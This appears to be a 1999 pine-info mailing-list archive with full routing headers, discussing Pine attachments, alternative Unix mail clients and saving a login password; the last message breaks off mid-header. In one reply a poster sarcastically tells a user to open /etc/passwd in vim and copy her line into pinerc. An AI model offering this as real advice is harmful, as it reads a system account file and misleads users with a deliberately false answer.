Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id XAA05334; Mon, 22 Feb 1999 23:57:08 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id XAA26688 for ; Mon, 22 Feb 1999 23:54:05 -0800 Received: from public.ndh.com (public.ndh.net [194.97.97.21]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id XAA11404 for ; Mon, 22 Feb 1999 23:54:04 -0800 Received: from radioactive.socha.net (root@port234.koeln.ndh.net [195.94.92.234]) by public.ndh.com (8.8.7/8.8.0) with ESMTP id IAA07633 for ; Tue, 23 Feb 1999 08:54:00 +0100 (MET) Received: (from robin@localhost) by radioactive.socha.net (8.8.7/8.8.7) id IAA09077; Tue, 23 Feb 1999 08:48:18 +0100 Message-Id: Date: 23 Feb 1999 08:48:17 +0100 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: "Robin S. Socha" To: Pine Discussion Forum Subject: Re: Request: Insert Msg as Attachment In-Reply-To: Dan Wing's message of "Mon, 22 Feb 1999 18:55:07 -0800 (PST)" References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN * Dan Wing writes: > On pine-info I wrote: >> On Mon, 22 Feb 1999 19:45 -0500, Nancy McGough wrote: >> > File to insert from c:\Home directory: ^G Get Help ^T To Files TAB >> > Complete ^C Cancel ^W InsertMsg ^A AttachMsg >> >> message/rfc822 msg > > Hm, I noticed an odd bug with this. No, you didn't. Yet. Most Windows MUAs will not recognize this type of attachment, either. Pterodactyl Gnus now supports this feature, and it really doesn't work very well. To say the least. Plus you don't get a chance to edit this attachment. The idea as such is probably neat, but I don't think there's a realistic need for it and the technical implementation seems to be more than just a little confusing. Just my DM.02 -- Robin S. Socha From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Tue, 23 Feb 1999 00:01:04 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id AAA24344 for ; Tue, 23 Feb 1999 00:01:02 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id AAA11295; Tue, 23 Feb 1999 00:01:00 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id AAA25779; Tue, 23 Feb 1999 00:00:03 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id XAA36182 for ; Mon, 22 Feb 1999 23:54:06 -0800 Received: from public.ndh.com (public.ndh.net [194.97.97.21]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id XAA11408 for ; Mon, 22 Feb 1999 23:54:05 -0800 Received: from radioactive.socha.net (root@port234.koeln.ndh.net [195.94.92.234]) by public.ndh.com (8.8.7/8.8.0) with ESMTP id IAA07638 for ; Tue, 23 Feb 1999 08:54:02 +0100 (MET) Received: (from robin@localhost) by radioactive.socha.net (8.8.7/8.8.7) id IAA09076; Tue, 23 Feb 1999 08:44:47 +0100 Message-Id: Date: 23 Feb 1999 08:44:43 +0100 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: "Robin S. Socha" To: Pine Discussion Forum Subject: Re: UI of Pine on X-Windows vs. MS-Windows? In-Reply-To: Nancy McGough's message of "Mon, 22 Feb 1999 17:20:47 -0500 (EST)" References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN * Nancy McGough writes: > On 23 Feb 1999, Michael Talbot-Wilson wrote: >> But there are, of course, other Unix mail clients for X. > Yes, but are any of them as feature-rich and powerful as Pine? You've got to be joking. }:-> a) People who want a GUI usually don't want "feature-rich". b) Pine isn't exactly "powerful". So there. And now for MUAs: * Balsa (from the Gnome project looks very promising and is being very actively developed. Gnome's editor is very, very good BTW (which really, really cannot be said of pico. YMMV). * XFmail is very much like Pegasus in that it includes filters, PGP and the like. It also supports IMAP. IIRC, there are some licencing quirks, though. * Basically the same applies to KMail (except IMAP IIRC) plus it comes with KDE, so the look and feel of it are far less challenging than pine's (for someone looking for a drool-proof MUA). Now, none of these programs support news (but realistically, pine doesn't really do that, either), but they are a lot "easier" to use. In the beginning. Until you find out that mice suck and that you're 10 times faster using a keyboard. What else? Ah, yes... Gnus. Ummmm... Well... Yeah. Gnus rocks. If you want "powerful" and "feature-rich", you want Gnus. OTOH, it runs under XEmacs, so it's a giant memory hog, slow as hell, a beast to set up and it probably doesn't look sexy to the uninitiated. But it does make up for that with a vast variety of features I couldn't live without (which is why I quit using pine and never really used mutt except at work where I only have MIX which doen't work will with XEmacs). Basically, though, it shares pine's great advantage of being OS independent.[1] See the glorious details at . Be sure to bring a T1, though, the graphics are rediculously huge :-/ Basically, I don't miss pine's GUI under Linux. pine doesn't offer any real support for a GUI, anyway (like inline MIME) so why bother? There are enough bloated MUAs out there - pine and mutt are very good programs, ideal for a quick mail. Footnotes: [1] Did I just say OS? Sorry. Make that: it runs under Windos, too. -- Robin S. Socha From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Tue, 23 Feb 1999 01:59:58 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA27331 for ; Tue, 23 Feb 1999 01:59:54 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA13168; Tue, 23 Feb 1999 01:59:52 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id BAA13715; Tue, 23 Feb 1999 01:58:41 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id BAA23634 for ; Tue, 23 Feb 1999 01:56:04 -0800 Received: from rumms.uni-mannheim.de (rumms.uni-mannheim.de [134.155.50.52]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id BAA02933 for ; Tue, 23 Feb 1999 01:56:02 -0800 Received: from pciris.rz.uni-mannheim.de (pciris.rz.uni-mannheim.de [134.155.50.75]) by rumms.uni-mannheim.de (8.8.7/8.8.7) with SMTP id KAA25863 for ; Tue, 23 Feb 1999 10:56:00 +0100 (MET) Message-Id: <199902230956.KAA25863@rumms.uni-mannheim.de> Date: Tue, 23 Feb 1999 10:55:58 +0100 Reply-To: iris.mayer@rz.uni-mannheim.de Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: "Iris Mayer" To: Pine Discussion Forum Subject: store password MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Is it possible to store password in pinerc or anywhere else to avoid typing it in every time I start pine? (yes, I know that this is a security problem ...) Thanks in advance, Iris Mayer ---------------------------------------------------- Iris Mayer Computing Center Mannheim University D-68131 Mannheim email: iris.mayer@rz.uni-mannheim.de phone: ++49 621 292 3585 fax: ++49 621 292 5220 office: L15,16 (room 922) -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Tue, 23 Feb 1999 02:47:34 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA28957 for ; Tue, 23 Feb 1999 02:47:31 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA13832; Tue, 23 Feb 1999 02:47:29 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id CAA09520; Tue, 23 Feb 1999 02:46:35 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id CAA23970 for ; Tue, 23 Feb 1999 02:44:13 -0800 Received: from rumms.uni-mannheim.de (rumms.uni-mannheim.de [134.155.50.52]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id CAA05479 for ; Tue, 23 Feb 1999 02:44:12 -0800 Received: from pciris.rz.uni-mannheim.de (pciris.rz.uni-mannheim.de [134.155.50.75]) by rumms.uni-mannheim.de (8.8.7/8.8.7) with SMTP id LAA04440 for ; Tue, 23 Feb 1999 11:44:06 +0100 (MET) Message-Id: <199902231044.LAA04440@rumms.uni-mannheim.de> Date: Tue, 23 Feb 1999 11:44:06 +0100 Reply-To: iris.mayer@rz.uni-mannheim.de Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: "Iris Mayer" To: Pine Discussion Forum Subject: Re: store password In-Reply-To: References: <199902230956.KAA25863@rumms.uni-mannheim.de> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN > On Tue, 23 Feb 1999, Iris Mayer wrote: > > > Is it possible to store password in pinerc or anywhere else to avoid > > typing it in every time I start pine? (yes, I know that this is a > > security problem ...) > > I know it's possible in PC-Pine, but I've not heard of a way on a UNIX > box. In PC-Pine, you'd create a file in the C:\PINE directory called > PINE.PWD and put your username on one line, and password on a second line. > After you log in the next time, it'll encrypt those within the file. > works fine with pc-pine3.96 but not with version 4.10 :-( Iris ---------------------------------------------------- Iris Mayer Computing Center Mannheim University D-68131 Mannheim email: iris.mayer@rz.uni-mannheim.de phone: ++49 621 292 3585 fax: ++49 621 292 5220 office: L15,16 (room 922) From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Tue, 23 Feb 1999 02:58:50 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA29218 for ; Tue, 23 Feb 1999 02:58:48 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA06182; Tue, 23 Feb 1999 02:58:45 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id CAA14483; Tue, 23 Feb 1999 02:57:44 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id CAA24026 for ; Tue, 23 Feb 1999 02:55:25 -0800 Received: from public.ndh.com (public.ndh.net [194.97.97.21]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id CAA20713 for ; Tue, 23 Feb 1999 02:55:23 -0800 Received: from fireball.control-risks.de (port202.koeln.ndh.net [195.94.92.202]) by public.ndh.com (8.8.7/8.8.0) with ESMTP id LAA04110 for ; Tue, 23 Feb 1999 11:55:15 +0100 (MET) Received: (from rss@localhost) by fireball.control-risks.de (8.8.7/8.8.7) id LAA00339 for pine-info@u.washington.edu; Tue, 23 Feb 1999 11:53:46 +0100 Message-Id: <19990223115340.B226@fireball.control-risks.de> Date: Tue, 23 Feb 1999 11:53:41 +0100 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: "Robin S. Socha" To: Pine Discussion Forum Subject: Re: store password In-Reply-To: <199902230956.KAA25863@rumms.uni-mannheim.de>; from Iris Mayer on Tue, Feb 23, 1999 at 10:55:58AM +0100 References: <199902230956.KAA25863@rumms.uni-mannheim.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Quoting Iris Mayer (iris.mayer@rz.uni-mannheim.de): > Is it possible to store password in pinerc or anywhere else to avoid typing it in > every time I start pine? Yes, it is possible to store password in pinerc. You must go: vim /etc/passwd and look for iris.mayer. Then you c&p this into pinerc. Do not forget to add "#" before line. Besides which, pine does not have a password, anyway. > (yes, I know that this is a security problem ...) (no, you obviously don't know that this is a security problem) > Thanks in advance, My pleasure. Would you now kindly notice that a) this list is reserved for administrational problems b) deals with user questions c) your signature is waaay too long and does not sport sigdashes (dear list manager, please remove the sigdashes from the automatically generated tag line, prettyplease?) -- Robin S. Socha, Bastard From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Tue, 23 Feb 1999 03:01:26 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id DAA29386 for ; Tue, 23 Feb 1999 03:01:24 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id DAA14029; Tue, 23 Feb 1999 03:01:22 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id DAA09753; Tue, 23 Feb 1999 03:00:25 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id CAA50086 for ; Tue, 23 Feb 1999 02:57:25 -0800 Received: from mole.slip.net (mole.slip.net [207.171.193.16]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id CAA28256 for ; Tue, 23 Feb 1999 02:57:25 -0800 Received: from sj-pm2-12-108.dialup.slip.net ([207.171.199.108]) by mole.slip.net with smtp (Exim 2.02 #1) id 10FFWX-0001jK-00; Tue, 23 Feb 1999 02:57:10 -0800 Message-Id: Date: Tue, 23 Feb 1999 02:57:21 -0800 (PST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Shoeless in San Jose To: Pine Discussion Forum Subject: Re: store password In-Reply-To: <199902231044.LAA04440@rumms.uni-mannheim.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Iris Mayer X-Cc: Pine Discussion Forum X-X-Sender: batchman@imap.slip.net X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, 23 Feb 1999, Iris Mayer wrote: > > On Tue, 23 Feb 1999, Iris Mayer wrote: > > > > > Is it possible to store password in pinerc or anywhere else to avoid > > > typing it in every time I start pine? (yes, I know that this is a > > > security problem ...) > > > > I know it's possible in PC-Pine, but I've not heard of a way on a UNIX > > box. In PC-Pine, you'd create a file in the C:\PINE directory called > > PINE.PWD and put your username on one line, and password on a second line. > > After you log in the next time, it'll encrypt those within the file. > > > works fine with pc-pine3.96 but not with version 4.10 :-( Hmm..maybe I'll stick with 3.96. 4.x doesn't work on mine without Win32, which I could never get to work. Greg From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Tue, 23 Feb 1999 03:08:39 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id DAA29638 for ; Tue, 23 Feb 1999 03:08:36 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id DAA06357; Tue, 23 Feb 1999 03:08:35 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id DAA29973; Tue, 23 Feb 1999 03:07:37 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id DAA19252 for ; Tue, 23 Feb 1999 03:05:15 -0800 Received: from calypso.view.net.au (calypso.view.net.au [203.30.237.210]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id DAA06365 for ; Tue, 23 Feb 1999 03:05:12 -0800 Received: (from mtw@localhost) by calypso.view.net.au (8.9.1/8.9.1) id VAA14094; Tue, 23 Feb 1999 21:31:18 +1030 Message-Id: Date: Tue, 23 Feb 1999 21:31:17 +1030 (CST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Michael Talbot-Wilson To: Pine Discussion Forum Subject: Re: UI of Pine on X-Windows vs. MS-Windows? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Nancy McGough X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Mon, 22 Feb 1999, Nancy McGough wrote: > On 23 Feb 1999, Michael Talbot-Wilson wrote: > > But there are, of course, other Unix mail clients for X. > > Yes, but are any of them as feature-rich and powerful as Pine? Nancy, could you give a list of the features and a description of the power of Pine in your opinon? You are better able than many of us to do so, and without a checklist your question is unanswerable. --Mike From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Tue, 23 Feb 1999 03:21:47 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id DAA29944 for ; Tue, 23 Feb 1999 03:21:44 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id DAA06589; Tue, 23 Feb 1999 03:21:42 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id DAA10179; Tue, 23 Feb 1999 03:20:22 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id DAA44640 for ; Tue, 23 Feb 1999 03:17:56 -0800 Received: from calypso.view.net.au (calypso.view.net.au [203.30.237.210]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id DAA06900 for ; Tue, 23 Feb 1999 03:17:45 -0800 Received: (from mtw@localhost) by calypso.view.net.au (8.9.1/8.9.1) id VAA14182; Tue, 23 Feb 1999 21:43:47 +1030 Message-Id: Date: Tue, 23 Feb 1999 21:43:47 +1030 (CST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Michael Talbot-Wilson To: Pine Discussion Forum Subject: Re: store password In-Reply-To: <19990223115340.B226@fireball.control-risks.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: "Robin S. Socha" X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, 23 Feb 1999, Robin S. Socha wrote: > c) your signature is waaay too long and does not sport sigdashes (dear Some news programs (trn) automatically add sigdashes if you have a .sig so you get two sets if you have them there too. So if you use such a news reader you will probably delete them from your .sig. That problem would be solved if Pine, also, conditionally added sigdashes. From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Tue, 23 Feb 1999 04:34:55 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id EAA31132 for ; Tue, 23 Feb 1999 04:34:53 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id EAA15424; Tue, 23 Feb 1999 04:34:51 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id EAA01562; Tue, 23 Feb 1999 04:33:54 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id EAA04620 for ; Tue, 23 Feb 1999 04:31:29 -0800 Received: from mail.eclipse.net (root@mail.eclipse.net [207.207.192.13]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id EAA11201 for ; Tue, 23 Feb 1999 04:31:29 -0800 Received: from pralix.sarnoff.com (pralix.sarnoff.com [130.33.10.112]) by mail.eclipse.net (8.9.1a/8.9.1) with ESMTP id HAA00449; Tue, 23 Feb 1999 07:30:27 -0500 (EST) Message-Id: Date: Tue, 23 Feb 1999 07:30:27 -0500 (Eastern Standard Time) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Art Greenberg To: Pine Discussion Forum Subject: Re: store password In-Reply-To: <199902231044.LAA04440@rumms.uni-mannheim.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Iris Mayer X-Cc: Pine Discussion Forum X-X-Sender: artg@mail.eclipse.net X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, 23 Feb 1999, Iris Mayer wrote: > > On Tue, 23 Feb 1999, Iris Mayer wrote: > > > > > Is it possible to store password in pinerc or anywhere else to avoid > > > typing it in every time I start pine? (yes, I know that this is a > > > security problem ...) > > > > I know it's possible in PC-Pine, but I've not heard of a way on a UNIX > > box. In PC-Pine, you'd create a file in the C:\PINE directory called > > PINE.PWD and put your username on one line, and password on a second line. > > After you log in the next time, it'll encrypt those within the file. > > > works fine with pc-pine3.96 but not with version 4.10 :-( I beg to differ. I'm using PC-Pine 4.10 and that feature works flawlessly. -- Art Greenberg artg@eclipse.net From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Tue, 23 Feb 1999 06:55:34 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA32515 for ; Tue, 23 Feb 1999 06:55:33 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA17264; Tue, 23 Feb 1999 06:55:31 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id GAA16305; Tue, 23 Feb 1999 06:54:06 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id GAA04670 for ; Tue, 23 Feb 1999 06:50:53 -0800 Received: from mailhub.tc.fluke.com (mailhub.tc.fluke.com [206.138.179.14]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id GAA02406 for ; Tue, 23 Feb 1999 06:50:52 -0800 Received: from dd.tc.fluke.com (root@dd.tc.fluke.com [129.196.136.109]) by mailhub.tc.fluke.com (8.9.1/8.9.1) with ESMTP id GAA20996 for ; Tue, 23 Feb 1999 06:50:52 -0800 (PST) Received: from localhost (dcd@localhost [127.0.0.1]) by dd.tc.fluke.com (8.8.5/8.6.12) with ESMTP id GAA06036 for ; Tue, 23 Feb 1999 06:50:51 -0800 Message-Id: Date: Tue, 23 Feb 1999 06:50:51 -0800 (PST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: David Dyck To: Pine Discussion Forum Subject: Re: store password In-Reply-To: <199902230956.KAA25863@rumms.uni-mannheim.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, 23 Feb 1999, Iris Mayer wrote: > Is it possible to store password in pinerc or anywhere else to avoid > typing it in every time I start pine? I guess you are referring to the IMAP password, right? I was going to say that I found that it was stored in the dos pine, but no in the unix version, but then your next post refers to differing dos versions so you are not referring to the unix compilations anyway. For unix, I had a special case where I hacked through the #ifdefs in the sources (for msdos tests near IMAP passwd stuff) and enabled it in a special case. I have since learned (from this list) that there may be other ways if you administer the unix host that you are trying to get your IMAP mail from that you can find in the tech notes I believe. (there I mentioned administer and IMAP in the same sentence, so I guess I'll post this after all.. :-) It would be nice for some special occasions to be able to store a unix IMAP password in a private owner or group only readable file in unix pine also. David From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Tue, 23 Feb 1999 06:59:13 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA32640 for ; Tue, 23 Feb 1999 06:59:12 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA17331; Tue, 23 Feb 1999 06:59:10 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id GAA21367; Tue, 23 Feb 1999 06:58:00 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id GAA16442 for ; Tue, 23 Feb 1999 06:55:10 -0800 Received: from kens.com (kens.com [209.70.169.2]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id GAA02878 for ; Tue, 23 Feb 1999 06:55:10 -0800 Received: from kens.com (kens.com [209.70.169.2]) by kens.com (8.9.2/8.9.2-mod-for-majordomo) with ESMTP id JAA04394; Tue, 23 Feb 1999 09:55:10 -0500 (EST) Message-Id: Date: Tue, 23 Feb 1999 09:55:10 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Ken Woods To: Pine Discussion Forum Subject: Re: store password In-Reply-To: <19990223115340.B226@fireball.control-risks.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: "Robin S. Socha" X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, 23 Feb 1999, Robin S. Socha wrote: >c) (dear >list manager, please remove the sigdashes from the >automatically generated tag line, prettyplease?) Don't be a luser. Why do you want them removed? -- Ken Woods kwoods@kens.com From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Tue, 23 Feb 1999 09:29:21 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA02669 for ; Tue, 23 Feb 1999 09:29:19 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA13561; Tue, 23 Feb 1999 09:29:13 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id JAA00276; Tue, 23 Feb 1999 09:24:30 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id JAA40778 for ; Tue, 23 Feb 1999 